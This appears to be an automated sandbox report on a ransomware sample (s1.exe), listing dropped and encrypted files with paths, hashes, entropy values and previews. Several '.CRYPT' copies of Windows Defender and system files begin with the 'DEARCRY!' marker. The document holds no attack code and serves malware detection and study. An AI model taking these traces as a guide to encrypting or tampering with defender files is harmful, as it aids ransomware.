                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5688
                                                              Entropy (8bit):7.969394650490198
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3652EC631C367594C5AC654598AA7B50
                                                              SHA1:6CD1B3153E1C202F2ACC23438F32111D1168EF48
                                                              SHA-256:66ECD660F8BCD39385A1DC6CAEB33CD60ADA2472C254C76164EFF5785457A6C1
                                                              SHA-512:B7EDFEB3F519F99F31A15E7B8FCB9A6A5ED4FD399EC3C8C97C286A1159572446359890207F5368C27DAC792EA7780BB226E34599C4346E07006DD019977EBE89
                                                              Malicious:false
                                                              Preview: DEARCRY!....+.........{......sH...0+Q.X........z.....~.C.gAXX..])..STe).v|.].'V........P.^.....y...|.\...l...X...........<R:...i.....G.k$..w..6..g....y.......C....;1..O....8...3..G...#D..B.....X.P'...P*.c..i.....&...F..Y9...J`.Esw{F...^.a...#.@..gs.i...............#F.]..=%.G+..[...c,..r..C}.h..8^.`k.'mz.4'.i ...H.]x.s............ax....N...^.v9.e..HA...I........k.|.*FH....X...?0.5..o.'Q...R..kE..z.(t...t....$....t.JK.p .d.....Mb......9OP....CD.>g...G'.JG...nj.0.|f}`;.L.&...>...?..h...............]...m.C...@Iu....k.m...tSz...p.d.z.....9|.2..B...ly...B..Y]...kx...}Ox..E&.0f.1.S..:......+....*..T...Ou.Y.....j...%.i....(...R..m.e...5..Sv..bU...0-........vZ..........5".m....?g/'...f7....h..j..0..").....6.x?.U.,C.g^.....%,X,..GL(@...n..rQr....g...C..W....._...]G...+~]W.......{-.;V....b.r.1..}.D..vm..Q}l.K.t...V.0.yen.3.V.g:.C.f...+..#....i......kVc.....TaJ4#l..)G.Y....4...:o.x.&.^.hVo.R..(......L...fR..r./.l.....N..s...k.,..#.......q..IE...R
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\Unknown.Log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):168
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6E46EE414433C0352C469146A669673F
                                                              SHA1:7079695A8B2BEC1055B2E1D28DDCFC8383081183
                                                              SHA-256:F9E5E27D7ABB02843284A33AA88293B2192D07A012EB93C44ACD2FFBDB0C4CFA
                                                              SHA-512:40DDD9A65AA56A6D7E15BFFFCCE6F47204BA8662DA00757C6A317D58AB45103F497E7537EE01751A32A57334B76AE75E495F281E1FEFAE06A6EE0C72C520E708
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\Unknown.Log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.4843883384600325
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A490E44938BA61606610A35DA3CBA6A3
                                                              SHA1:30961BFF5FECC7B59DD47199F4DB5FEF5F4983AB
                                                              SHA-256:0FFE2224927BA53CBBC23EB5280E937684F665A6ED6F3419A7E9FC7702ECC9C1
                                                              SHA-512:B950479DBB203E82F2813E078005A1949B5A345F8A5C0843514814108B713E210557CA36DCD8E5AB061C08C24F28DBA29D9C15FCD7F0FEAF89858D4991124495
                                                              Malicious:false
                                                              Preview: DEARCRY!....s..6......x.]..d....S.q.j...T.a.q?K.k1..#.!W..'.l...6oI ..&.....h.(n.1....#.k..f....N.d.8...T.5...."...s]..`sC.`..".i.a...Ol.....)u...gp\....D...lI..o..n..HM...$...n.aF..x.{r&..8'.5.c..,.f...Uu...P{..|.c..z..zzk..PR.=-e.3Z0.i..4@._:?.[b7...6.................._v..eT.=0../EHA......n..r...uP,qW../..!..`.v.L5Rs.,.*...m.g..EME.R.....W.A.y...l...V.i....D.k^7_h..~=}..}w.{.B<.....k..5.V.z].WE`..._.?`la{_.pt.....+......6.;.(...
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\MpDiag.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):112
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2EC535EDAA45DEEF6987F8E781631B41
                                                              SHA1:2760153E60CB7BC96EB59A04ED2DB5DE4A94EDB2
                                                              SHA-256:64BDC48C731313C7B37C1F1D13D6265AC7A2604FF630B50F591A86E610CB3005
                                                              SHA-512:1A008B0480A4EB64D292DB671D4F43F46FC57E077B72AD3EC0A3B0B63B320357A11418EA916038E9B659CCF39AE574EF8A8F683F1EFF954788591C13022FCD81
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\MpDiag.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):408
                                                              Entropy (8bit):7.3992317551881825
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7CB25F3179CE0A8087773A36F12C3BAC
                                                              SHA1:5003F0CABABC0AE2955C10F2D7DFF9BE748AF6EA
                                                              SHA-256:53C6BCD5076574A89F2AB1817379C0D890C1B8912585E2EAE9D1CAC2E5145F74
                                                              SHA-512:4FB9AA2D824FD4E04574459E2B00BA413EA93A731E7A51946EB990863911C0164B80909B93555AE653C90CEEBD42F83C268051F0001270F779C7F1617EABED00
                                                              Malicious:false
                                                              Preview: DEARCRY!....3<N.m.m.z.c..E..e....C....'p....L(.X...NV.uUj...LJ#....I.i...iy..........................Rn..Q..qT.....E^..`....x)......5.Dr.....%8).Z./..70.xn.....1xf....,..SD..w6....^...5.D..V/"...Y.*...H.o._..Q.R......2.Bt...........C.>R. .mStw.....R.3xW...Q.....p.......XX......:...0....QT..!.~.u.Y..<.c{[M>..c....D..^.%.6X".<..I...O... ].|......?m%.!..\]A3.M.$^.Z.....J^..5.....(}........vym
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):152080
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2C0B6B8108CAF4D1346FF6CCB33313A3
                                                              SHA1:5F993510BCC4063E9AB11AFEFAB1F4192D1DEE1C
                                                              SHA-256:E59D0691D3827F68EE39392E7D5CCB5EDE958DE558349FAC9068C4E20D0FCF87
                                                              SHA-512:D673F5D32109FD3D2DC0C31A5413AA93B2C6CD57A37CC1A2E543111EFDF781DDCECF899BEC4EE6E4B1C8F5FE63AD90056997312DD3C477E1ED15DE645CB75869
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):152376
                                                              Entropy (8bit):7.998644399688979
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:CB8F574B4C009B6F6FCE19FF4E004C4F
                                                              SHA1:9D4E00D589AADFFA0090941CC7C4F81183E2BAD4
                                                              SHA-256:447B6EFE39AB3997A9D1017CE60CA3B71ED6CB18A6B95C57A41E085B50C6BAEE
                                                              SHA-512:41760F80F50A724485A1A727D1226D94D0B71FE994300999844B4232C4929A7963C71B6A49FB539A7892589F2227A4C6F34C2AB3FC47FF1BEB1D92A606C32BB1
                                                              Malicious:true
                                                              Preview: DEARCRY!...........7Fa>..DnB.j.J...3..U......>=.nm.X...WD..2...Mb.>H.. ...]..8..^Ry....Z)`.O....n.....[..2.....c......S.u............m..%..!....:W.03.6.s.f....f+..0m......2.#.AC..q.K.W.........4..O....S...H.c.('..@E.?.s3...J.0.3..I.'.d..j............a.;Wh.....R......^..\!J....O....~.%K^.=....q.J.E.p..w...../.A...4......./V....GI.t.[y.......N[*...C......)]...4..8....=N..&..?K$n .M....L...t!.H..........Q.5.9.T.....O..p`p%_....:....C......HK.a.d.@*..2..dv...&...2.:?..^..%cs.....!..TI;I.j......1....eM\r"`z.n...{......0q.Mi.....Z..<S........{K..\.....3..d&.........t,V....=..Z.9..1..Q.......r...;L.....F.i....D..BoP..I.3.c.I.J..B..L....f.P-...+#.....aV.y.....@q .3.`*....|...\..8...Q#.I..WVw.......E..7MI...YTh1b....{."..y.0..Kx.W....1,.>.c&.4..!.....h~.}.L-?..<f.....Xk$_...Z2b.X.X...k...Y.E.....E..ss.(&.....5'..+..+.._.&.u....X....u.Ic.|bJ.P.Kg.J..(.......Tr.6....l]..1..lbO.PH...}...j.X.Kk.ml....j...s$...xR......3.}R.=!#..v..S....}.W
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):94977888
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4B064E26F215BA998C4C7BF022CBBB6F
                                                              SHA1:7EBC5A1AE8CC8A74602B469214A52B61D16236CE
                                                              SHA-256:4A4BE77DD35F6380CB04B074D3A2AEB9EA89DC2BAF55550D01D9E4FD14A4C36C
                                                              SHA-512:5E88701C7A701365498C649F7D4563CE5F638FE43921DC5DB98048315F72406D17860FC5BC56F996E4381FA8990D03F685A578C61E6D74F3CDA0F80CD5B8B0FE
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin.CE
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):281392
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6BCB0B9036172BA14599C1E5AEADC523
                                                              SHA1:1B1EAA58524BBF21B087A29EAA11C5E355E0F470
                                                              SHA-256:5212E4ED8A17AC5BA714FB7659798782B5E1301C8F858021051AA0B0FEFAC387
                                                              SHA-512:80CD9F6F1866A4E2A0BD867A7F6ECAE6DE5CD0B7A639FC7D848AE4174293215ABA4ABD6B5FE807733C6EF17F0F74600A2E2273393BB65ABFFDA99CA8855303C8
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin.CE.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):281688
                                                              Entropy (8bit):7.9993848051023
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:8B3B9E691958B86E2955DACF775D5377
                                                              SHA1:D52996DBD729718F5C3A4CB7FAC0C988013CE469
                                                              SHA-256:AF45D9862E3D761CA11A189AA7D79C898E3879B45257EB8F84003C557F6BC89A
                                                              SHA-512:6F5AF11547943CB7A7B3E34FFBC0DA0FE5CA356B11960D62C4DE33C9DB75C1886B577F671CF04D54DE998EB71A8210365843F6F4C0F4383884A75D8A8735E862
                                                              Malicious:true
                                                              Preview: DEARCRY!.......... ..."Ah..0.^.GdR..3.}W%...%.X...L.L*[H.K.G...ru.n....X.....I$q.uG*>.....b.O6$Xk;.'.......(...H......I..\z..$.L.6*_B=...Z...i..4J./|.....D.}.....L.!^e."....-u_)..../h>.(g.B.1F...f..|.=... ~.........p...N.....g.#.>c.}..9...2sG..Kc\8...G.#.......0K......R......m.lj_a.lq..V.V2.@....7b.r..Z.I..&.~..(.+...uXd..KN..~...q.....2I +....j.g....K....x)2....j..E......z.sG.*}.5. P0....==..Q.6..).L_../..@%.....uT5..%M.....Jm.....a.......*.)ra..$.......wT..\9..L.&G.C8@..9..y.^..G........u...z.C<.m`.+..~..bf..w.%a...?B.Z..4...~."w...T9c.l.b.Cd...#.M...)[Oi.}.E.b.h......#7f.I.t.Bi....yY.~..........l.}}.1{q&.Z.{..w..=L#.yo..[?...}.ZMcg...*..[..K...}0...+x....>.u%...$..bM..z.r.....U@....+(d..*.du.G.SWo.}..,......{V..Uw...B.........Z....M..Zgy..y-...Wq..l...i9vp.r..;...J..dPoaLV..........[.......Jr$...Gc..p.j\-.b\.Q.E......FL..W....)7.$P:...h.....P)3...F$..s.3....'.`..G.6.\Y.......E.?.;...Zs.e.V!.......].*CL..Hyk......A.o...U...r..5/...g....x
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-75AA7CADA49CCFA36E050EBC1592844DDD43B44E.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):94980160
                                                              Entropy (8bit):7.999997617113169
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:F450963F26CF72A4BF0CCC0B08586BF7
                                                              SHA1:ED36C68D3197A0C869CE3CB9FAE157FECE235607
                                                              SHA-256:DC5E3A2DA2515F91A7DFCBB0D5C85491B85B01F2E77B1185D7B05EDD69EAF03B
                                                              SHA-512:A65D28DDA20A627CA6CD1E087F082A15722D2242ADFEAC317886F874D2789C7E5BB7F736A6AD01B71A0D6C243473007DE10B14B379F4140ED8CEFE13324BEADB
                                                              Malicious:true
                                                              Preview: DEARCRY!.......T..:"...,...OP.T@.*q.m`....|.:.m;.P.\...>...0)KvK......M$K5..J{..R.mH.89.V:.c..e;mm...4/.MTqe..]..Z.R.D.....Hg^.....j...X...-1}"V(.T.x..g._b..i..<.L(-i......`..KqJR....5H.tD..h.@\....g-,rc.l..kNf..i...R..6..o.*;...o..1\gI."..@..jfa.......1Q...........'.........1..$.!.....&,..-.....<..*^B.h..">..H...M.}.q8.r..a....8!..|.sDT4j..0Zp..&..+.Xr.<...)....d...k..X*}........4.<.v...h.#j..........0.C>...f...u^7s.`L&...../|..d.t.......+..Rne_.j.....Z......fb~.ag.....AdS.........W........2.I<.a.....C~kW-|.)N.3..G....N1..xi.7R.~.+.vv..<.Gd..wf..*.T=..L..I#E.}.0~i...?..ndS.O;n".B..hB.u.`.....q....C;......+..:.qX..$..h.(L1c...b....1...fA.........X.T..(.;....~.I.Y."..~.].Q..v......;.z.X......7.9....(?.m..v^.Y...'...%.$..........L.G..(..s..S..0.H.qS..|8.jNC....w]K<~.....7..WR.kg.x..7.TD@.v..DiSt`.,kr..k+........E!..}.k.V...E...a^..,.C....]..T.T..'....j.0....jX...J......89.....v..V.S.G..R........(.....,.kW7..$y..I.....5_...e.Y.O..}.B...sj.f..y......F.
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):544768
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6841362D352FA864D944709FE482387C
                                                              SHA1:06A481534A0CC2C1FAA493E87050A105BE7AC507
                                                              SHA-256:8023205A48CA31158E2DE7E1DB097F5B2CA773ADB5F0DF428E198DCAD4DBB1A1
                                                              SHA-512:C5F551BF9DBA649816CC45F4E556B9CB403A397258122E22DC4CA023A882BC8DAF65CD61FE2C4995F6818844E3B0AFE73F30E99EC156EC5C21D4083BB61EC5FE
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):545064
                                                              Entropy (8bit):7.9996505504813165
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:4A7441BC784BEF96252DECEDD231214A
                                                              SHA1:178717CFCD965D8B0F0E4F3A121A7C5AE4601875
                                                              SHA-256:B6FAB7DF60309FAB7237442C552883CA78CD6FBEB61FC91E1E001F0E11C06B03
                                                              SHA-512:07343B32F74CAA4D0A7E227F7866E007D2A8FF77B5DBD7585E9465ED0B5293A448C36C3D2C49DF673C0B8E21378A16FEC3CA743A0FC408C90014CBBD20DED1A0
                                                              Malicious:true
                                                              Preview: DEARCRY!....k..zFv.6.....;oK .9..3.3^...c..h..........zB....\P.f.....6u3.........T`.....1.....f4.].o....K.Y.t.....R....n."..<b...x.3......s.l.KXv+q.~..>..$dQ.s|c@x.`.s5...}..K..p._.f.v.X......P....~8fB...s.....\+...t..X1.wIv....^|.{.)6E.f........j-G....=......P.......d,(.8 .h...._.n.O..~4.EQ\......+#..>,?..[g..*.....F...^k;....]....A..$..U........Q%*e...x..]......Q.*....fB.....Np>&OC..U.....p.`..Hx...O&....:U.L........cU]]#.K"..fc.>;.1.fb}......U.8.2.>...0...F..Q..t=W..C.}U..L>U...P..<.#....L.....M..[{v.@K.C.N.AV..-9Tj..SW..!.4GK....z..GH.a....=T\....*.<w._.L..P...a.2*..mD.z..]X..Z.n?}g......m....i. ....5..U..P......E..q.t.<V.Kl.1~p.I...~'.(.|...%.~.0]..x{.W.z&[.J._...."...:.2...&.a[.0m.rc..j.n..iv...nYt...8w.<..{.............sv...T...l..wJt...RR..z.....: E...'.c+.IIG.B.@....=.-..^...uL.0v..W.....\<.....B._..v..6.lF........5.{.P.1.<f.,.ENe.6.Os....I....kk...n.:\5..w.[..O.<j.......d.3..j.!xQ.1..c..........D0kYZ..i.~..T:...6E.d.5a.....X
                                                              C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):19439
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:78A2D1FF1AEDB55A4D94F36F0C2F099E
                                                              SHA1:FE520C05208273A03BDE3DEDF22E0601EB9F5410
                                                              SHA-256:3C6EA003B06EEB40425BBC50F8142CCA32C639097F8DFF2A2ACD309E5909F41A
                                                              SHA-512:751EC9118F5B246294649B4CBD095952CEDEDF680EC8F1729A76C9A79DD646F9009C27417A762C3D071CDDEF583502F6F346CE2536CBBCAF6FEBBEF3C8F71ABC
                                                              Malicious:true
